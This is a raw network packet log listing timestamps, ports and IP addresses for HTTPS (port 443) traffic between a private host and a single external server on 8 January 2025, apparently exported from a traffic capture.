Jan 8, 2025 16:18:48.521001101 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.521100044 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.521167994 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.521167994 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.521245956 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.521255970 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.521423101 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.535109997 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.535120964 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.535298109 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.535391092 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.535397053 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.535593033 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.540537119 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.544080019 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.544090033 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.544465065 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.544475079 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.544673920 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.554922104 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.561955929 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.561970949 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.562103987 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.562208891 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.562216997 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.562261105 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.571804047 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.571814060 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.571949005 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.571949005 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.571960926 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.572005987 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.572040081 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.572040081 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.572115898 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.598474026 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.598488092 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.598818064 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.598818064 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.598818064 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.598818064 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.598834038 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.599010944 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.600893021 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.603388071 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.616817951 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.616822004 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.616925001 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.617017031 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.617032051 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.617103100 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.617369890 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.627440929 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.627453089 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.627635002 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.627723932 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.627723932 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.627723932 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.627732992 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.628103018 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.628608942 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.628618002 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.628853083 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.628973961 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.628978014 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.629199028 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.629257917 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.629275084 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.629405975 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.629600048 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.629600048 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.629607916 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.629861116 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.638520956 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.638695955 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.647840023 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.647844076 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.647949934 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.648008108 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.648220062 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.648230076 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.648541927 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.656157017 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.656167030 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.656438112 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.656438112 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.656438112 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.656450033 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.656614065 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.659137011 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.659152985 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.659291983 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.659398079 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.659404039 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.659538031 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.669680119 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.669696093 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.669850111 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.670018911 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.670018911 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.670028925 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.681417942 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.681431055 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.681603909 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.681655884 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.681660891 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.681772947 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.681930065 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.686641932 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.686654091 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.686779022 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.686789036 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.686918020 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.686918020 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.686918020 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.686930895 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.686971903 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.686980963 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.687016010 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.687016010 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.687102079 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.687114000 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.691134930 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.691298008 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.691301107 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.702903986 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.702922106 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.703052998 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.703063965 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.703130007 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.703325033 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.710695028 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.710709095 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.710876942 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.710954905 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.710967064 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.711246014 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.714695930 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.714706898 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.714809895 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.714886904 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.714886904 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.714900970 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.714905977 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.715001106 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.715001106 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.715051889 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.717832088 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.717844009 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.718025923 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.718025923 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.718039036 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.718111992 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.718307972 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.718307972 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.723340988 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.723400116 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.723511934 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.723644018 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.723814964 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.723825932 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.730768919 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.730791092 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.730850935 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.730937958 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.731045961 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.731054068 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.731210947 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.738432884 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.738446951 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.738610029 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.738696098 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.738696098 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.738703966 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.738863945 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.738873005 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.738888025 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.739034891 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.739034891 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.739048958 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.739224911 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.739226103 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.745306015 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.745472908 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.745472908 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.745520115 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.746751070 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.746891022 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.746891022 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.746938944 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.756956100 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.756968975 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.757172108 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.757179022 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.757236004 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.757317066 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.759953022 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.759963989 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.760191917 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.760191917 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.760202885 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.760210991 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.760421991 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.764233112 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.764244080 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.764395952 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.764395952 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.764576912 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.764769077 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.764780045 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.766557932 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.766737938 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.766763926 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.770658970 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.770848036 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.770848989 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.770859957 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.771126032 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.773893118 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.773904085 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.774070024 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.774077892 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.774123907 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.774296999 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.779783010 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.779793978 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.779948950 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.779948950 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.780002117 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.780002117 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.780013084 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.780093908 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.781429052 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.781595945 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.781667948 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.785141945 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.785152912 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.785367012 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.785377979 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.785600901 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.785600901 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.792974949 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.792987108 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.793180943 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.793180943 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.793191910 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.793279886 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.795007944 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.795171976 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.795181990 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.798990011 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.799000978 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.799276114 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.799282074 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.799318075 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.800513983 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.800529957 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.800856113 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.800856113 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.800856113 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.800856113 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.800872087 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.801043987 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.802772999 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.803791046 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.803921938 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.803930998 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.804047108 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.804153919 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.808083057 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.808092117 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.808264017 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.808264017 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.808274031 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.808284998 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.808362007 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.808413982 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.816960096 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.816970110 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.817218065 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.817229033 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.817409992 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.818393946 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.818404913 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.818609953 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.818617105 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.818773031 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.818820000 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.820278883 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.820291042 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.820458889 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.820458889 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.820468903 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.820478916 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.820574999 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.828035116 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.828232050 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.828241110 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.828325987 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.832804918 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.832817078 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.832966089 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.832966089 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.832978010 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.833158970 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.833158970 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.833158970 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.833158970 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.834861040 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.834871054 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.835115910 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.835122108 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.835253000 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.835328102 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.837260962 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.837548018 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.839277983 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.839292049 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.839330912 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.839474916 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.839483976 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.839539051 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.839539051 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.839553118 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.839553118 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.839581966 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.839778900 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.844774961 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.844944000 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.844953060 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.845000982 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.845168114 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.850718975 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.850729942 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.850970030 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.850979090 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.851031065 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.851357937 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.852235079 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.852246046 CET	443	53673	23.33.85.196	192.168.11.20
